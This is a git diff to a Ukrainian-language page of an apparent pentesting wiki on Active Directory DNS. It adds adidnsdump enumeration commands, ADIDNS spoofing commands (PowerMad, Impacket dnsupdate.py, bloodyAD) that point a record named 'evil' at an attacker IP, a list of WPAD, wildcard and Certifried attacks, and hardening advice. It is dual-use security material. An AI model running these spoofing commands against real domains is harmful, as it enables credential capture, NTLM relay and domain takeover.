diff --git a/src/windows-hardening/active-directory-methodology/ad-dns-records.md b/src/windows-hardening/active-directory-methodology/ad-dns-records.md index 219405645..11eb5f0f4 100644 --- a/src/windows-hardening/active-directory-methodology/ad-dns-records.md +++ b/src/windows-hardening/active-directory-methodology/ad-dns-records.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -За замовчуванням **будь-який користувач** в Active Directory може **перерахувати всі DNS записи** в зонах DNS Домену або Лісу, подібно до передачі зони (користувачі можуть перераховувати дочірні об'єкти зони DNS в середовищі AD). +За замовчуванням **будь-який користувач** в Active Directory може **перерахувати всі DNS записи** в зонах DNS Домену або Лісу, подібно до передачі зони (користувачі можуть перерахувати дочірні об'єкти зони DNS в середовищі AD). Інструмент [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) дозволяє **перерахування** та **експорт** **всіх DNS записів** у зоні для цілей розвідки внутрішніх мереж. ```bash @@ -10,9 +10,70 @@ git clone https://github.com/dirkjanm/adidnsdump cd adidnsdump pip install . +# Enumerate the default zone and resolve the "hidden" records adidnsdump -u domain_name\\username ldap://10.10.10.10 -r + +# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…) +adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones + +# Dump a specific zone (e.g. ForestDnsZones) +adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r + cat records.csv ``` -Для отримання додаткової інформації прочитайте [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/) +> adidnsdump v1.4.0 (квітень 2025) додає JSON/Greppable (`--json`) вивід, багатопотокове DNS-резолюцію та підтримку TLS 1.2/1.3 при прив'язці до LDAPS +Для отримання додаткової інформації читайте [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/) + +--- + +## Створення / Модифікація записів (ADIDNS спуфінг) + +Оскільки група **Authenticated Users** за замовчуванням має **Create Child** на DACL зони, будь-який обліковий запис домену (або обліковий запис комп'ютера) може реєструвати додаткові записи. Це можна використовувати для перехоплення трафіку, примусу NTLM реле або навіть повного компрометації домену. + +### PowerMad / Invoke-DNSUpdate (PowerShell) +```powershell +Import-Module .\Powermad.ps1 + +# Add A record evil.domain.local → attacker IP +Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose + +# Delete it when done +Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose +``` +### Impacket – dnsupdate.py (Python) +```bash +# add/replace an A record via secure dynamic-update +python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37 +``` +*(dnsupdate.py постачається з Impacket ≥0.12.0)* + +### BloodyAD +```bash +bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37 +``` +--- + +## Загальні атаки + +1. **Запис з підстановкою** – `*.` перетворює сервер AD DNS на відповідь для всієї підприємства, подібно до підробки LLMNR/NBNS. Його можна використовувати для захоплення NTLM хешів або для їх реле до LDAP/SMB. (Вимагає, щоб WINS-lookup був вимкнений.) +2. **WPAD захоплення** – додайте `wpad` (або **NS** запис, що вказує на хост зловмисника, щоб обійти Global-Query-Block-List) і прозоро проксіруйте вихідні HTTP запити для збору облікових даних. Microsoft виправив обходи підстановки/DNAME (CVE-2018-8320), але **NS-записи все ще працюють**. +3. **Захоплення застарілого запису** – заявіть IP-адресу, яка раніше належала робочій станції, і відповідний DNS запис все ще буде розв'язуватись, що дозволяє атаки з обмеженою делегацією на основі ресурсів або Shadow-Credentials без втручання в DNS. +4. **DHCP → DNS підробка** – на стандартному розгортанні Windows DHCP+DNS неавтентифікований зловмисник в тій же підмережі може перезаписати будь-який існуючий A запис (включаючи контролери домену), надіславши підроблені DHCP запити, які викликають динамічні оновлення DNS (Akamai “DDSpoof”, 2023). Це дає можливість атаки "машина посередині" через Kerberos/LDAP і може призвести до повного захоплення домену. +5. **Certifried (CVE-2022-26923)** – змініть `dNSHostName` облікового запису машини, якою ви керуєте, зареєструйте відповідний A запис, а потім запитайте сертифікат на це ім'я, щоб видавати себе за DC. Інструменти, такі як **Certipy** або **BloodyAD**, повністю автоматизують цей процес. + +--- + +## Виявлення та зміцнення + +* Відмовте **Аутентифікованим Користувачам** право *Створювати всі дочірні об'єкти* на чутливих зонах і делегуйте динамічні оновлення спеціальному обліковому запису, що використовується DHCP. +* Якщо динамічні оновлення необхідні, встановіть зону на **Тільки безпечну** і увімкніть **Захист Імен** в DHCP, щоб лише об'єкт комп'ютера-власника міг перезаписати свій власний запис. +* Моніторте події DNS сервера з ID 257/252 (динамічне оновлення), 770 (передача зони) та записи LDAP до `CN=MicrosoftDNS,DC=DomainDnsZones`. +* Блокуйте небезпечні імена (`wpad`, `isatap`, `*`) з навмисно безпечним записом або через Global Query Block List. +* Тримайте DNS сервери оновленими – наприклад, RCE вразливості CVE-2024-26224 та CVE-2024-26231 досягли **CVSS 9.8** і можуть бути віддалено експлуатовані проти контролерів домену. + +## Посилання + +* Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, все ще де-факто посилання для атак з підстановкою/WPAD) +* Akamai – “Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates” (Грудень 2023) {{#include ../../banners/hacktricks-training.md}}